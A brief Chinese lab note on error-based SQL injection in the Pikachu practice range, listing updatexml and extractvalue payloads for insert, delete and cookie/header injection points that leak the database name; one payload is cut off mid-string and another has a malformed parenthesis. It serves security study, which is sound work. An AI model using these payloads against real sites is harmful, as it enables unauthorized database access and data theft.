web-报错注入-皮卡丘靶场

Insert（post 请求的报错注入）

Payload：' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '

Delete

Payload:一定要进行 url 编码，不然会报错

?id=62+and+updatexml(1,concat(0x7e,(select+database()),0x7

http-header 注入（就是 cookie 的报错注入）

爆库

Payload：admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1）

admin' and extractvalue(1,concat('~',(select database()),'~')